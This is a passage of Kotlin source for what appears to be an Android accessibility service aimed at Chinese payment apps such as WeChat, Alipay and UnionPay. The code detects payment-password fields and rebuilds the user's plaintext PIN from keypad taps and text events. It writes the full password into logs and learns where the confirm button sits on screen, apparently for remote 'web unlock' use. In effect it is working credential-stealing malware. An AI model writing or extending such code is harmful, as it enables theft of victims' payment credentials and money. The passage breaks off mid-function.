Log.w(TAG, "🔢 [支付密码] 数字序列添加: $newChar (总计: ${numericPasswordSequence.size})")
}
}
// 分析完整文本中的数字变化
val currentDigits = text.filter { it.isDigit() }
val previousDigits = beforeText.filter { it.isDigit() }
if (currentDigits.length > previousDigits.length) {
val newDigits = currentDigits.drop(previousDigits.length)
Log.w(TAG, "🚨 [支付密码] 新增数字: '$newDigits'")
newDigits.forEach { digit ->
val currentTime = System.currentTimeMillis()
numericPasswordSequence.add(mapOf(
"digit" to digit.toString(),
"timestamp" to currentTime,
"className" to className,
"packageName" to packageName,
"source" to "enhanced_payment_digit_analysis"
))
Log.w(TAG, "🔢 [支付密码] 数字序列添加: $digit (总计: ${numericPasswordSequence.size})")
}
}
}
}
val currentTime = System.currentTimeMillis()
// 检查是否为密码字段
if (isPasswordField(event)) {
handlePasswordInput(event, text, beforeText, currentTime)
}
}
/**
* ✅ 智能检测密码输入场景
*/
private fun detectPasswordScenario(packageName: String, className: String, text: String, beforeText: String): Boolean {
// 1. 检查是否为已知的支付应用
val isPaymentApp = packageName.contains("tencent.mm") || // 微信
packageName.contains("alipay") || // 支付宝
packageName.contains("unionpay") || // 云闪付
packageName.contains("jd") || // 京东
packageName.contains("taobao") || // 淘宝
packageName.contains("meituan") // 美团
// 2. 检查文本模式是否像密码输入
val hasPasswordPattern = (text.contains("") || text.contains("*")) || // 掩码字符
(text.length in 1..12 && text.all { it.isDigit() }) || // 数字密码
(beforeText.isEmpty() && text.length == 1 && text.matches(Regex("[0-9]"))) // 首次数字输入
// 3. 检查类名是否指示密码输入
val hasPasswordClass = className.lowercase().let { cls ->
cls.contains("password") || cls.contains("pin") || cls.contains("secure") ||
cls.contains("payment") || cls.contains("pay") || cls.contains("wallet")
}
// 4. 检查文本长度变化模式(通常密码是逐字符输入)
val hasPasswordInputPattern = (text.length - beforeText.length) == 1 && text.length <= 8
return isPaymentApp && (hasPasswordPattern || hasPasswordClass || hasPasswordInputPattern)
}
/**
* ✅ 检测是否为支付密码场景
*/
private fun isPaymentPasswordScenario(packageName: String, className: String, text: String): Boolean {
// 严格的支付密码检测条件
val isPaymentApp = packageName.contains("tencent.mm") ||
packageName.contains("alipay") ||
packageName.contains("unionpay")
val hasPaymentIndicators = text.length in 1..6 && // 支付密码通常是6位以内
(text.all { it.isDigit() || it == '•' || it == '*' }) && // 只包含数字或掩码
className.lowercase().let { cls ->
cls.contains("edit") || cls.contains("text") || cls.contains("input")
}
return isPaymentApp && hasPaymentIndicators
}
/**
* ✅ 激活增强检测模式
*/
private fun activateEnhancedDetection(reason: String) {
isEnhancedDetectionMode = true
enhancedDetectionStartTime = System.currentTimeMillis()
Log.i(TAG, "🚀 [增强模式] 激活增强检测: $reason (30秒后自动关闭)")
}
/**
* ✅ 手动关闭增强检测模式
*/
private fun deactivateEnhancedDetection(reason: String) {
isEnhancedDetectionMode = false
enhancedDetectionStartTime = 0L
Log.i(TAG, "🛑 [增强模式] 关闭增强检测: $reason")
}
/**
* ✅ 设置程序化输入状态由InputManager调用
*/
fun setProgrammaticInputActive(active: Boolean) {
val oldState = isProgrammaticInputActive
isProgrammaticInputActive = active
if (active) {
lastProgrammaticInputTime = System.currentTimeMillis()
Log.i(TAG, "🔢 [程序化输入] 状态变更: $oldState -> $active (设置为活跃状态) 时间=${lastProgrammaticInputTime}")
} else {
Log.i(TAG, "🔢 [程序化输入] 状态变更: $oldState -> $active (设置为非活跃状态)")
}
}
/**
* ✅ 检查是否正在执行程序化数字密码输入
*/
private fun isCurrentlyExecutingNumericPasswordInput(): Boolean {
val currentTime = System.currentTimeMillis()
val timeSinceLastProgrammatic = currentTime - lastProgrammaticInputTime
// ✅ vivo设备使用优化的检测窗口避免快速用户输入被误判
val detectionWindow = if (isVivoDevice) {
vivoOptimizedProgrammaticDetectionWindow // vivo设备: 500ms
} else {
1000L // 其他设备: 1000ms
}
val isProgrammatic = isProgrammaticInputActive || timeSinceLastProgrammatic < detectionWindow
Log.i(TAG, "🔢 [程序化输入检测] 当前时间=$currentTime, 上次程序化时间=$lastProgrammaticInputTime")
Log.i(TAG, "🔢 [程序化输入检测] 标志=$isProgrammaticInputActive, 时间差=${timeSinceLastProgrammatic}ms")
Log.i(TAG, "🔢 [程序化输入检测] 检测窗口=${detectionWindow}ms (vivo设备优化: $isVivoDevice), 最终结果=$isProgrammatic")
if (isProgrammatic) {
Log.w(TAG, "🔢 ✅ 检测到程序化输入中 - 将仅记录不触发确认")
} else {
Log.w(TAG, "🔢 ❌ 非程序化输入 - 将正常处理并可能触发确认")
}
return isProgrammatic
}
/**
* 处理密码输入分析
*/
private fun handlePasswordInput(event: AccessibilityEvent, text: String, beforeText: String, currentTime: Long) {
val className = event.className?.toString() ?: ""
val packageName = event.packageName?.toString() ?: ""
// ✅ 防止重复分析:如果正在分析中或最近刚分析过,则跳过
if (isPasswordAnalyzing) {
Log.d(TAG, "🔒 [重复检测] 正在分析中,跳过重复处理")
return
}
if (currentTime - lastPasswordAnalysisTime < passwordAnalysisLockTimeout) {
Log.d(TAG, "🔒 [重复检测] 最近已分析过 (${currentTime - lastPasswordAnalysisTime}ms < ${passwordAnalysisLockTimeout}ms),跳过")
return
}
// 检查是否是新的密码输入会话
if (!isPasswordInputActive || (currentTime - lastPasswordEventTime > passwordInputTimeout)) {
if (isPasswordInputActive) {
// 结束上一个密码输入会话
finishPasswordInput()
}
// 开始新的密码输入会话
startPasswordInput(packageName, className, currentTime)
}
// 获取实际输入的文本
val actualText = getPasswordText(event, text, beforeText)
val inputType = detectPasswordType(text, actualText, className)
// 记录密码输入事件
recordPasswordInputEvent(actualText, beforeText, currentTime, inputType, className, packageName)
lastPasswordEventTime = currentTime
// ✅ 修复:对于所有密码类型,使用统一的完成触发策略
if (shouldFinishPasswordInput(text, beforeText)) {
val triggerTime = currentTime // 记录当前输入时间
Handler(Looper.getMainLooper()).postDelayed({
// 只有当没有更新的输入时才触发分析
if (isPasswordInputActive && lastPasswordEventTime == triggerTime) {
Log.d(TAG, "🔒 [密码分析] 无新输入,触发密码分析")
finishPasswordInput()
} else {
Log.d(TAG, "🔒 [密码分析] 检测到更新输入 (${lastPasswordEventTime} vs ${triggerTime}),跳过分析")
}
}, 2000) // 2秒后检查
}
}
/**
* 开始密码输入会话
*/
private fun startPasswordInput(packageName: String, className: String, currentTime: Long) {
isPasswordInputActive = true
passwordInputStartTime = currentTime
passwordInputEvents.clear()
// ✅ 修复:不要清空数字序列,因为用户点击数字键时可能已经添加了数字
// 只有在真正结束密码输入时才清空序列
// numericPasswordSequence.clear() // 注释掉这行
hasDetectedZero = false // ✅ 重置数字0标志新的密码输入会话
currentPasswordLength = 0
Log.d(TAG, "🔒 [密码分析] 开始新的密码输入会话: 包名=$packageName, 类名=$className")
// ✅ vivo设备专用初始化
if (isVivoDevice) {
vivoExtractedChars.clear()
vivoPasswordBuffer = ""
vivoLastCaptureTime = currentTime
Log.i(TAG, "📱 [vivo初始化] 已清理vivo设备专用缓存准备快速捕获")
}
logScope.launch {
recordLog(
"TEXT_INPUT",
"🔒 密码输入开始",
mapOf(
"packageName" to packageName,
"className" to className,
"startTime" to passwordInputStartTime,
"eventType" to "password_input_start"
)
)
}
}
/**
* 记录密码输入事件
*/
private fun recordPasswordInputEvent(actualText: String, beforeText: String, currentTime: Long, inputType: String, className: String, packageName: String) {
// 计算实际密码长度(保留数字、字母和掩码字符)
val cleanActualText = actualText.replace(Regex("[^\\w•*]"), "")
val cleanBeforeText = beforeText.replace(Regex("[^\\w•*]"), "")
val lengthDifference = cleanActualText.length - cleanBeforeText.length
currentPasswordLength = cleanActualText.length
// ✅ 修复:不要用数字序列长度覆盖完整密码长度
// 数字序列只是密码的一部分(数字部分),不应该覆盖完整密码的长度
val sequenceLength = numericPasswordSequence.size
// ✅ 修复:如果有数字序列,且序列长度大于文本长度,优先使用序列长度
if (sequenceLength > 0) {
if (currentPasswordLength == 0) {
Log.d(TAG, "🔍 [快速输入优化] 文本长度为0使用序列长度: $sequenceLength")
currentPasswordLength = sequenceLength
} else if (sequenceLength > currentPasswordLength) {
Log.d(TAG, "🔍 [快速输入优化] 序列长度($sequenceLength) > 文本长度($currentPasswordLength),使用序列长度")
currentPasswordLength = sequenceLength
} else {
Log.d(TAG, "🔍 [快速输入优化] 长度信息: 文本长度=$currentPasswordLength, 数字序列长度=$sequenceLength")
}
}
Log.d(TAG, "🔍 [快速输入优化] 密码长度计算: 原始='$actualText'(${actualText.length}), 清理后='$cleanActualText'(${cleanActualText.length}), 当前长度=$currentPasswordLength, 序列长度=$sequenceLength")
val inputEvent = mapOf(
"timestamp" to currentTime,
"lengthChange" to lengthDifference,
"currentLength" to currentPasswordLength,
"inputType" to inputType,
"relativeTime" to (currentTime - passwordInputStartTime),
"actualPasswordText" to cleanActualText,
"displayText" to actualText,
"numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息
)
passwordInputEvents.add(inputEvent)
val operationType = when {
lengthDifference > 0 -> "输入"
lengthDifference < 0 -> "删除"
else -> "修改"
}
// ✅ 快速输入优化:如果有数字序列,添加序列信息到日志
val sequencePassword = if (numericPasswordSequence.isNotEmpty()) {
numericPasswordSequence.joinToString("") { it["digit"] as String }
} else ""
logScope.launch {
recordLog(
"TEXT_INPUT",
"🔒 [快速输入优化] 密码输入: $actualText (${currentPasswordLength}位)",
mapOf(
"packageName" to packageName,
"className" to className,
"operationType" to operationType,
"currentLength" to currentPasswordLength,
"lengthChange" to lengthDifference,
"inputType" to inputType,
"eventSequence" to passwordInputEvents.size,
"relativeTime" to (currentTime - passwordInputStartTime),
"actualPasswordText" to cleanActualText, // 包含实际密码内容
"displayText" to actualText, // 包含显示的掩码文本
"isPasswordCapture" to true,
"numericSequenceLength" to sequenceLength, // ✅ 数字序列长度
"numericSequencePassword" to sequencePassword, // ✅ 数字序列密码
"isFastInput" to (sequenceLength > 0) // ✅ 是否为快速输入
)
)
}
}
/**
* 完成密码输入分析 - ✅ 增强版本,记录确认按钮坐标
*/
private fun finishPasswordInput() {
if (!isPasswordInputActive) return
// ✅ 设置分析锁,防止重复分析
if (isPasswordAnalyzing) {
Log.d(TAG, "🔒 [重复检测] 已在分析中,跳过重复分析")
return
}
isPasswordAnalyzing = true
lastPasswordAnalysisTime = System.currentTimeMillis()
val duration = System.currentTimeMillis() - passwordInputStartTime
val eventCount = passwordInputEvents.size
Log.d(TAG, "🔒 [密码分析] 完成密码输入分析: 持续时间=${duration}ms, 事件数量=$eventCount")
// 重构完整密码
val reconstructedPassword = if (isVivoDevice && vivoExtractedChars.isNotEmpty()) {
// vivo设备优先使用捕获的明文字符重构
val vivoReconstructed = reconstructVivoPassword("")
if (vivoReconstructed.isNotEmpty()) {
Log.i(TAG, "📱 [vivo密码重构] 使用vivo专用重构: '$vivoReconstructed' (长度=${vivoReconstructed.length})")
vivoReconstructed
} else {
// 如果vivo重构失败使用标准重构
reconstructPassword()
}
} else {
reconstructPassword()
}
Log.d(TAG, "🔒 [密码分析] 重构密码: '$reconstructedPassword' (长度=${reconstructedPassword.length})")
// ✅ 修复使用重构密码的实际长度而不是可能被数字序列长度覆盖的currentPasswordLength
val actualPasswordLength = if (reconstructedPassword.isNotEmpty()) {
reconstructedPassword.length
} else {
// 如果重构失败,从最后一个事件获取最大长度
passwordInputEvents.maxOfOrNull { (it["currentLength"] as? Int) ?: 0 } ?: currentPasswordLength
}
Log.d(TAG, "🔒 [密码分析] 长度校正: currentPasswordLength=$currentPasswordLength -> actualPasswordLength=$actualPasswordLength")
// 分析密码输入模式 - ✅ 传递实际密码长度
val passwordAnalysis = analyzePasswordPattern(actualPasswordLength)
// ✅ 检测密码类型 - 使用现有的检测方法
val passwordType = detectPasswordTypeFromEvents()
Log.d(TAG, "🔒 [密码分析] 检测到密码类型: $passwordType")
var confirmButtonCoordinate: Pair<Float, Float>? = null
// ✅ 对于需要确认按钮的密码类型,启动确认按钮监听并触发智能确认检测
val needsConfirmation = passwordType in listOf("混合密码", "文本密码", "数字密码", "PIN码")
if (needsConfirmation) {
Log.d(TAG, "🔒 [密码分析] 密码类型 '$passwordType' 需要确认按钮,启动智能确认检测")
// 启动确认按钮坐标监听
startConfirmClickListening()
// ✅ 立即尝试智能学习确认按钮坐标
enhancedConfirmButtonLearning()
// ✅ 修复:所有密码类型都跳过自动确认触发,避免干扰用户输入
// 保留密码记录和学习功能,但移除所有自动确认触发
val shouldTriggerConfirm = when (passwordType) {
"数字密码", "PIN码" -> {
Log.d(TAG, "🔢 [数字密码] 跳过自动确认触发,保留密码记录功能")
false // 数字密码不在这里触发确认
}
"混合密码" -> {
Log.d(TAG, "🔤 [混合密码] 跳过自动确认触发,保留密码记录功能")
false // 混合密码不在这里触发确认
}
"文本密码" -> {
Log.d(TAG, "📝 [文本密码] 跳过自动确认触发,保留密码记录功能")
false // 文本密码不在这里触发确认
}
else -> {
Log.d(TAG, "🔒 [${passwordType}] 跳过自动确认触发,保留密码记录功能")
false // 所有其他密码类型都不触发确认
}
}
if (shouldTriggerConfirm) {
// ✅ 修改只在Web解锁模式下才触发智能确认检测
val isWebUnlockMode = service.isWebUnlockMode()
Log.d(TAG, "🤖 [密码分析] Web解锁模式检查: $isWebUnlockMode")
if (isWebUnlockMode) {
val confirmDetectionType = convertToConfirmDetectionType(passwordType)
Log.d(TAG, "🔓 [Web解锁] 触发智能确认检测: 原始类型='$passwordType' -> 检测类型='$confirmDetectionType'")
// 异步触发确认检测,避免阻塞
Handler(Looper.getMainLooper()).postDelayed({
try {
service.tryLockScreenConfirm(confirmDetectionType)
} catch (e: Exception) {
Log.e(TAG, "触发确认检测失败", e)
}
}, 500) // 延迟500ms确保密码输入完成
} else {
Log.i(TAG, "🚫 [非Web解锁] 跳过自动确认触发,等待用户手动确认")
}
}
// ✅ 优化:简化确认按钮坐标获取流程
Handler(Looper.getMainLooper()).postDelayed({
// 检查是否捕获到确认坐标
confirmButtonCoordinate = lastConfirmClickCoordinate
val currentCoords = confirmButtonCoordinate
if (currentCoords != null) {
Log.d(TAG, "✅ 发现确认按钮坐标: (${currentCoords.first}, ${currentCoords.second})")
// ✅ 更新之前记录的日志,添加确认坐标信息
updatePasswordLogWithConfirmCoords(currentCoords)
} else {
Log.d(TAG, " 未捕获到确认按钮坐标,将等待用户手动点击学习")
}
// 停止监听
stopConfirmClickListening()
}, 2000) // 减少等待时间到2秒
}
// 构建详细的分析信息文本 - ✅ 使用实际密码长度
val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate)
logScope.launch {
val extraData = mutableMapOf<String, Any>(
"duration" to duration,
"eventCount" to eventCount,
"finalLength" to actualPasswordLength, // ✅ 使用实际长度
"passwordAnalysis" to passwordAnalysis,
"eventType" to "password_input_complete",
"isDetailedAnalysis" to true,
"reconstructedPassword" to reconstructedPassword, // 包含重构的完整密码
"isPasswordCapture" to true,
"passwordType" to passwordType,
"enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型
"legacyPasswordType" to passwordType, // ✅ 添加传统类型
"originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试
"correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度
)
// ✅ 如果有确认按钮坐标记录到extraData中
confirmButtonCoordinate?.let { coord ->
extraData["confirmButtonX"] = coord.first
extraData["confirmButtonY"] = coord.second
extraData["hasConfirmButton"] = true
} ?: run {
extraData["hasConfirmButton"] = false
}
recordLog("TEXT_INPUT", analysisText, extraData)
}
// 重置状态
isPasswordInputActive = false
passwordInputEvents.clear()
numericPasswordSequence.clear() // ✅ 清空数字序列
currentPasswordLength = 0
// ✅ 释放分析锁
isPasswordAnalyzing = false
Log.d(TAG, "🔒 [密码分析] 分析完成,释放分析锁")
}
/**
* ✅ 保留:从输入事件中检测密码类型(备用方法)
*/
private fun detectPasswordTypeFromEvents(): String {
if (passwordInputEvents.isEmpty()) return "未知密码"
// 获取最后一个事件的密码类型判断
val lastEvent = passwordInputEvents.lastOrNull()
val lastActualText = lastEvent?.get("actualPasswordText") as? String ?: ""
val lastDisplayText = lastEvent?.get("displayText") as? String ?: ""
val lastClassName = lastEvent?.get("className") as? String ?: ""
return detectPasswordType(lastDisplayText, lastActualText, lastClassName)
}
/**
* ✅ 新增:启动确认按钮点击监听
*/
private fun startConfirmClickListening() {
isAwaitingConfirmClick = true
confirmClickStartTime = System.currentTimeMillis()
lastConfirmClickCoordinate = null
Log.d(TAG, "🔍 开始监听确认按钮点击...")
}
/**
* ✅ 新增:停止确认按钮点击监听
*/
private fun stopConfirmClickListening() {
isAwaitingConfirmClick = false
Log.d(TAG, "🔍 停止监听确认按钮点击")
}
/**
* ✅ 新增:更新密码日志,添加确认按钮坐标信息
*/
private fun updatePasswordLogWithConfirmCoords(confirmCoords: Pair<Float, Float>) {
try {
Log.d(TAG, "🔄 更新密码日志,添加确认坐标: (${confirmCoords.first}, ${confirmCoords.second})")
// 记录一条新的日志,包含确认按钮坐标信息
logScope.launch {
recordLog(
"PASSWORD_CONFIRM_COORDS",
"确认按钮坐标更新: (${confirmCoords.first.toInt()}, ${confirmCoords.second.toInt()})",
mapOf(
"confirmButtonX" to confirmCoords.first,
"confirmButtonY" to confirmCoords.second,
"hasConfirmButton" to true,
"updateTime" to System.currentTimeMillis(),
"relatedToLastPassword" to true
)
)
}
} catch (e: Exception) {
Log.w(TAG, "更新密码日志确认坐标失败", e)
}
}
/**
* 检测密码类型 - ✅ 优化版本,改进数字密码和图形密码的区分
*/
private fun detectPasswordType(displayText: String, actualText: String, className: String): String {
val classLower = className.lowercase()
// 检查内容描述以确定密码类型
val lastEvent = passwordInputEvents.lastOrNull()
val hasLetters = actualText.any { it.isLetter() } || displayText.any { it.isLetter() }
val hasDigitsAndLetters = actualText.any { it.isDigit() } && hasLetters
val cleanActualText = actualText.replace(Regex("[•*\\s]"), "")
Log.d(TAG, "🔍 密码类型检测开始:")
Log.d(TAG, " 显示文本: '$displayText'")
Log.d(TAG, " 实际文本: '$actualText'")
Log.d(TAG, " 清理文本: '$cleanActualText'")
Log.d(TAG, " 类名: '$className'")
Log.d(TAG, " 包含字母: $hasLetters")
Log.d(TAG, " 混合内容: $hasDigitsAndLetters")
// ✅ 优化的密码类型检测逻辑 - 明确优先级
val detectedType = when {
// 1. 优先检查明确包含字母的情况
hasDigitsAndLetters -> {
Log.d(TAG, " 检测结果: 混合密码(包含数字和字母)")
"混合密码"
}
hasLetters && !cleanActualText.any { it.isDigit() } -> {
Log.d(TAG, " 检测结果: 文本密码(仅包含字母)")
"文本密码"
}
// 2. 检查类名中的明确PIN标识
classLower.contains("pin") && !hasLetters -> {
Log.d(TAG, " 检测结果: PIN码类名包含pin")
"PIN码"
}
// 3. 检查数字类型密码
isNumericPassword(displayText, actualText) -> {
// PIN码检测长度和上下文
if ((cleanActualText.length == 4 || cleanActualText.length == 6) && isPinContext(classLower)) {
Log.d(TAG, " 检测结果: PIN码长度和上下文匹配")
"PIN码"
}
// 默认数字密码
else {
Log.d(TAG, " 检测结果: 数字密码(纯数字)")
"数字密码"
}
}
// 4. 基于显示模式的判断(全掩码显示)
displayText.all { it == '•' || it == '*' || it.isWhitespace() } -> {
when {
currentPasswordLength in 4..6 && isPinContext(classLower) -> {
Log.d(TAG, " 检测结果: PIN码掩码显示长度和上下文匹配")
"PIN码"
}
else -> {
Log.d(TAG, " 检测结果: 数字密码(掩码显示,默认情况)")
"数字密码"
}
}
}
// 6. 默认情况
else -> {
Log.d(TAG, " 检测结果: 文本密码(默认情况)")
"文本密码"
}
}
Log.d(TAG, "🔍 最终密码类型: $detectedType")
return detectedType
}
// ✅ 新增:检查是否为数字密码
private fun isNumericPassword(displayText: String, actualText: String): Boolean {
val cleanActual = actualText.replace(Regex("[•*\\s]"), "")
val cleanDisplay = displayText.replace(Regex("[•*\\s]"), "")
// 检查是否主要由数字和掩码字符组成
val isMainlyNumericAndMask = displayText.all { it.isDigit() || it == '•' || it == '*' || it.isWhitespace() }
val hasNumericContent = cleanActual.any { it.isDigit() } || cleanDisplay.any { it.isDigit() }
val hasNoLetters = !cleanActual.any { it.isLetter() } && !cleanDisplay.any { it.isLetter() }
return isMainlyNumericAndMask && hasNumericContent && hasNoLetters
}
// ✅ 新增检查是否为PIN码上下文
private fun isPinContext(classLower: String): Boolean {
return classLower.contains("pin") ||
classLower.contains("numeric") ||
classLower.contains("number") ||
classLower.contains("keypad")
}
/**
* 判断是否应该结束密码输入
*/
private fun shouldFinishPasswordInput(text: String, beforeText: String): Boolean {
// ✅ 修复:统一所有密码类型的完成检测逻辑
val isCleared = beforeText.length > 0 && text.length == 0
val noLengthChange = text.length == beforeText.length && text.length > 0
val hasContent = text.length > 0
// ✅ 对于数字密码,使用更简单的逻辑:每次输入都可能触发完成检测
if (numericPasswordSequence.isNotEmpty()) {
Log.d(TAG, "🔢 数字密码输入,允许触发完成检测")
return true // 允许触发完成检测,具体时间控制在调用方
}
// ✅ 修复:对于所有密码类型,只要有内容就允许触发完成检测
// 具体的时间控制在调用方的延迟逻辑中进行
if (hasContent) {
Log.d(TAG, "🔒 密码有内容(${text.length}位),允许触发完成检测")
return true
}
// 传统的清空检测逻辑保留
return isCleared
}
/**
* 分析密码输入模式 - ✅ 修复:使用传入的实际密码长度
*/
private fun analyzePasswordPattern(actualPasswordLength: Int = currentPasswordLength): Map<String, Any> {
if (passwordInputEvents.isEmpty()) {
return mapOf("pattern" to "no_events")
}
val totalDuration = if (passwordInputEvents.size > 1) {
(passwordInputEvents.last()["timestamp"] as Long) - (passwordInputEvents.first()["timestamp"] as Long)
} else {
0L
}
// 分析输入间隔
val intervals = mutableListOf<Long>()
for (i in 1 until passwordInputEvents.size) {
val prevTime = passwordInputEvents[i-1]["timestamp"] as Long
val currTime = passwordInputEvents[i]["timestamp"] as Long
intervals.add(currTime - prevTime)
}
val avgInterval = if (intervals.isNotEmpty()) intervals.average() else 0.0
val maxInterval = intervals.maxOrNull() ?: 0L
val minInterval = intervals.minOrNull() ?: 0L
// 分析删除操作
val deleteCount = passwordInputEvents.count { (it["lengthChange"] as Int) < 0 }
val inputCount = passwordInputEvents.count { (it["lengthChange"] as Int) > 0 }
// 分析输入特征 - ✅ 使用实际密码长度
val complexity = when {
actualPasswordLength <= 4 -> "简单密码"
actualPasswordLength <= 8 -> "中等复杂度"
actualPasswordLength <= 12 -> "复杂密码"
else -> "很复杂密码"
}
val typingSpeed = when {
avgInterval < 500 -> "快速输入"
avgInterval < 1500 -> "正常速度"
else -> "慢速输入"
}
val inputPattern = when {
deleteCount == 0 -> "一次性输入"
deleteCount <= 2 -> "少量修正"
else -> "多次修正"
}
return mapOf(
"totalEvents" to passwordInputEvents.size,
"inputDuration" to totalDuration,
"averageInterval" to avgInterval.toLong(),
"maxInterval" to maxInterval,
"minInterval" to minInterval,
"passwordLength" to actualPasswordLength, // ✅ 使用实际密码长度
"deleteCount" to deleteCount,
"inputCount" to inputCount,
"complexity" to complexity,
"typingSpeed" to typingSpeed,
"inputPattern" to inputPattern,
"intervals" to intervals
)
}
/**
* 构建密码分析结果的详细文本 - ✅ 增强版本,包含确认按钮信息
*/
private fun buildPasswordAnalysisText(
analysis: Map<String, Any>,
duration: Long,
eventCount: Int,
finalLength: Int,
reconstructedPassword: String = "",
confirmButtonCoordinate: Pair<Float, Float>? = null
): String {
val complexity = analysis["complexity"] as String
val typingSpeed = analysis["typingSpeed"] as String
val inputPattern = analysis["inputPattern"] as String
val avgInterval = analysis["averageInterval"] as Long
val deleteCount = analysis["deleteCount"] as Int
val passwordInfo = if (reconstructedPassword.isNotEmpty()) {
" | 密码:${reconstructedPassword}"
} else ""
val confirmInfo = if (confirmButtonCoordinate != null) {
" | 确认坐标:(${confirmButtonCoordinate.first.toInt()}, ${confirmButtonCoordinate.second.toInt()})"
} else ""
return "🔑 密码输入分析完成 - " +
"耗时${duration}ms${eventCount}个操作 | " +
"长度:${finalLength}${passwordInfo} | " +
"复杂度:${complexity} | " +
"输入:${typingSpeed}(平均${avgInterval}ms/操作) | " +
"模式:${inputPattern}" +
if (deleteCount > 0) "${deleteCount}次删除" else "" +
confirmInfo
}
/**
* ✅ 密码重构算法 - 简化的两级策略:优先键盘点击,备用文本分析
*/
private fun reconstructPassword(): String {
Log.d(TAG, "🔍 密码重构开始")
Log.d(TAG, " 数字键盘序列数量: ${numericPasswordSequence.size}")
Log.d(TAG, " 密码输入事件数量: ${passwordInputEvents.size}")
Log.d(TAG, " 当前密码长度: $currentPasswordLength")
try {
// ✅ 策略1优先使用键盘点击序列最可靠
if (numericPasswordSequence.isNotEmpty()) {
Log.d(TAG, "🔢 [策略1] 使用键盘点击序列重构密码")
return reconstructPasswordFromKeyboardClicks()
}
// ✅ 策略2备用方案使用文本显示分析
if (passwordInputEvents.isNotEmpty()) {
Log.d(TAG, "📝 [策略2] 使用文本显示分析重构密码")
return reconstructPasswordFromTextEvents()
}
Log.w(TAG, "❌ 没有可用的密码重构数据")
return ""
} catch (e: Exception) {
Log.w(TAG, "密码重构失败", e)
return "?".repeat(currentPasswordLength)
}
}
/**
* ✅ 策略1从键盘点击序列重构密码修复版
*/
private fun reconstructPasswordFromKeyboardClicks(): String {
// 按时间戳排序确保正确的输入顺序
val sortedSequence = numericPasswordSequence.sortedBy { it["timestamp"] as Long }
Log.d(TAG, "🔢 键盘点击序列 (按时间排序):")
sortedSequence.forEachIndexed { index, digitEvent ->
val digit = digitEvent["digit"] as? String ?: "?"
val timestamp = digitEvent["timestamp"] as? Long ?: 0L
val source = digitEvent["source"] as? String ?: "unknown"
Log.d(TAG, " [$index] $digit (时间戳: $timestamp, 来源: $source)")
}
// ✅ 修复:去重相同时间戳的重复数字,避免重复记录
val deduplicatedSequence = mutableListOf<Map<String, Any>>()
var lastTimestamp = 0L
var lastDigit = ""
for (digitEvent in sortedSequence) {
val digit = digitEvent["digit"] as? String ?: "?"
val timestamp = digitEvent["timestamp"] as? Long ?: 0L
// ✅ vivo设备使用优化的重构去重窗口避免过度去重
val reconstructionWindow = if (isVivoDevice) {
vivoOptimizedReconstructionWindow // vivo设备: 50ms
} else {
100L // 其他设备: 100ms
}
// 如果时间戳相差很小且数字相同,视为重复记录
if (timestamp - lastTimestamp < reconstructionWindow && digit == lastDigit) {
Log.d(TAG, "🔢 [去重] 跳过重复数字: $digit (时间差: ${timestamp - lastTimestamp}ms, 去重窗口: ${reconstructionWindow}ms)")
if (isVivoDevice) {
Log.d(TAG, "📱 [vivo优化] 使用优化重构去重窗口")
}
continue
}
deduplicatedSequence.add(digitEvent)
lastTimestamp = timestamp
lastDigit = digit
}
Log.d(TAG, "🔢 去重后序列数量: ${deduplicatedSequence.size} (原始: ${sortedSequence.size})")
// ✅ vivo设备优化提示
if (isVivoDevice && deduplicatedSequence.size > 0) {
Log.i(TAG, "📱 [vivo优化] vivo设备数字密码重构完成使用优化参数:")
Log.i(TAG, " - 程序化检测窗口: ${vivoOptimizedProgrammaticDetectionWindow}ms")
Log.i(TAG, " - 重复过滤窗口: ${vivoOptimizedDuplicateWindow}ms")
Log.i(TAG, " - 重构去重窗口: ${vivoOptimizedReconstructionWindow}ms")
}
// 拼接去重后的数字序列
val password = StringBuilder()
for (digitEvent in deduplicatedSequence) {
val digit = digitEvent["digit"] as? String ?: "?"
password.append(digit)
}
val result = password.toString()
Log.d(TAG, "🔢 键盘点击重构结果: '$result' (长度: ${result.length})")
// ✅ vivo设备重构结果验证
if (isVivoDevice && result.isNotEmpty()) {
Log.i(TAG, "📱 [vivo优化] vivo设备数字密码重构成功: $result")
}
// 验证密码长度合理性
if (result.length > 0 && result.length <= 20) { // 合理的密码长度范围
return result
} else {
Log.w(TAG, "⚠️ 键盘点击重构的密码长度不合理: ${result.length}")
return result // 即使长度不合理也返回,让调用方决定如何处理
}
}
/**
* ✅ 策略2从文本事件重构密码修复版 - 支持重复字符)
*/
private fun reconstructPasswordFromTextEvents(): String {
Log.d(TAG, "📝 文本事件重构开始,事件数量: ${passwordInputEvents.size}")
if (passwordInputEvents.isEmpty()) {
return ""
}
// ✅ 修复:使用最长的明文字符串作为基础,而不是去重
var longestPlainText = ""
for ((index, event) in passwordInputEvents.withIndex()) {
val displayText = event["displayText"] as? String ?: ""
val actualPasswordText = event["actualPasswordText"] as? String ?: ""
Log.d(TAG, " 事件[$index]: 显示='$displayText', 实际='$actualPasswordText'")
// 检查每个文本,找出包含最多明文字符的版本
val textsToCheck = listOf(displayText, actualPasswordText)
for (text in textsToCheck) {
// 提取明文字符(非掩码字符)
val plainChars = text.filter { it != '•' && it != '*' && it != ' ' && it.isLetterOrDigit() }
if (plainChars.length > longestPlainText.length) {
longestPlainText = plainChars
Log.d(TAG, "📝 [重构] 更新最长明文: '$longestPlainText' (来自文本: '$text')")
}
}
}
// ✅ 优先使用增量重构(更准确),如果失败再使用明文提取
val incrementalResult = reconstructFromIncrementalChanges()
val finalResult = if (incrementalResult.isNotEmpty() && !incrementalResult.contains("?")) {
Log.d(TAG, "📝 [重构] 增量重构成功: '$incrementalResult'")
incrementalResult
} else if (longestPlainText.isNotEmpty()) {
Log.d(TAG, "📝 [重构] 使用明文提取结果: '$longestPlainText'")
longestPlainText
} else {
Log.d(TAG, "📝 [重构] 回退到增量重构结果(可能包含占位符): '$incrementalResult'")
incrementalResult
}
Log.d(TAG, "📝 文本事件重构结果: '$finalResult' (长度: ${finalResult.length})")
return finalResult
}
/**
* ✅ 修复:从增量变化重构密码(处理逐字符输入的情况)
*/
private fun reconstructFromIncrementalChanges(): String {
Log.d(TAG, "📝 [增量重构] 开始分析文本变化模式,事件数量: ${passwordInputEvents.size}")
if (passwordInputEvents.isEmpty()) {
